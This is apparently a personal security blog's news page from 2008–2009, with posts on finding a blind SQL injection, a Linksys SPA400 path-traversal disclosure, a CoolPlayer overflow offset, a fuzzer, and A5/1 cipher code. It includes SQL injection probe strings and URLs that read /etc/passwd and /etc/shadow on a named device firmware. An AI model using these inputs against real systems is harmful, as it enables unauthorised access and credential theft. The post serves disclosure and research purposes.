## news

### Blind SQL Injection

16 Jun 2009

The infamous Blind SQL Injection vulnerability; regarded by some as the most difficult web application vulnerability to exploit. Recently while performing a web application penetration test on a closed source application I discovered a Blind SQL Injection vulnerability and was able to exploit this vulnerability to compromise the whole web application. Below is the process I used.
1. Discovering the vulnerability.
Try and make the query return true with the use of more characters than allowed:

> Request : file.asp?id=1'"
> Response: System error (Failed to execute query)
> Request : file.asp?id=1' OR '1'='1
> Response: Query returned true (page loaded)

Comments 3

### Its been awhile

26 Mar 2009

Been really busy of late. Started a new job as a penetration tester. Began development on a few new apps and thought about doing stuff I will never actually get around to doing. If only i never became tired.

> Manufacturer | Linksys (Division of Cisco Systems)
> Device | SPA400 (Internet Telephony Gateway)
> Fireware | 1.1.2.2

> /html/setup.cgi?next_file=/etc/passwd
> /html/setup.cgi?next_file=/etc/shadow
> /html/setup.cgi?next_file=/var/system.conf

Comments 3

### The new and the forgotten

21 Dec 2008

My latest advisory exploits a buffer overflow vulnerability in CoolPlayer. The vulnerability occurs when the "PlaylistSkin" variable is set to 1534 characters, or 1538 including EIP. Besides a couple security vulnerabilities CoolPlayer is a pretty cool app!

Anyway Christmas (Thursday) is not very far away now - I'm definitely looking forward to having some time to relax.

Comments 0

### TagFuzz, Amaya and Adsense

24 Nov 2008

Tonight I'll be releasing a multi-format fuzzer I wrote codenamed "TagFuzz". This fuzzer edits tag information of a supported file, then executes the target application supplying the file as an argument.

> EAX 00000000
> ECX 00000000
> EDX 00000695
> EBX 0013FD0C ASCII "AAAAAAAA..." <-- Before
> ESP 0013F900 ASCII "CCCCCCCC..." <-- After my RET
> EBP 00000007
> ESI 0000939F
> EDI 000091CD
> EIP 42424242

Comments 0

### A5/1 Implementations released

12 Nov 2008

I've just released (available for download) implementations of the A5/1 encryption cipher. This is the encryption algorithm that is used in Telstra GSM mobile phones to encrypt traffic.

Quoted from the wiki page (http://en.wikipedia.org/wiki/A5/1):

> A5/1 is a stream cipher used to provide over-the-air communication privacy in the GSM cellular telephone standard. It was initially kept secret, but became public knowledge through leaks and reverse engineering. A number of serious weaknesses in the cipher have been identified.

I've written two implementations which are very much the same:

1. PHP Version
2. C# Version

Originally the PHP version was developed from a small script i created to demonstrate how the registers were to function. This later developed into a full implementation. At the time I required a C# version, so i re-wrote it.

Comments 0

### Alive

01 Nov 2008

I'm 85% of the way through creating software to manage blog entries. The software specification:
* Post blog entries, and create blog entries
* Blog entries can be created using TinyMCE (WYSIWYG) editor
* Blog entries will be grouped by months, years
Eventually it will be available for download

Comments 0

## my latest

- TorrentFlux <= 2.1 (Arbitrary File Creation/Overwr...

## downloads

- String Builder

## links

- Jeremy Brown's Security Blog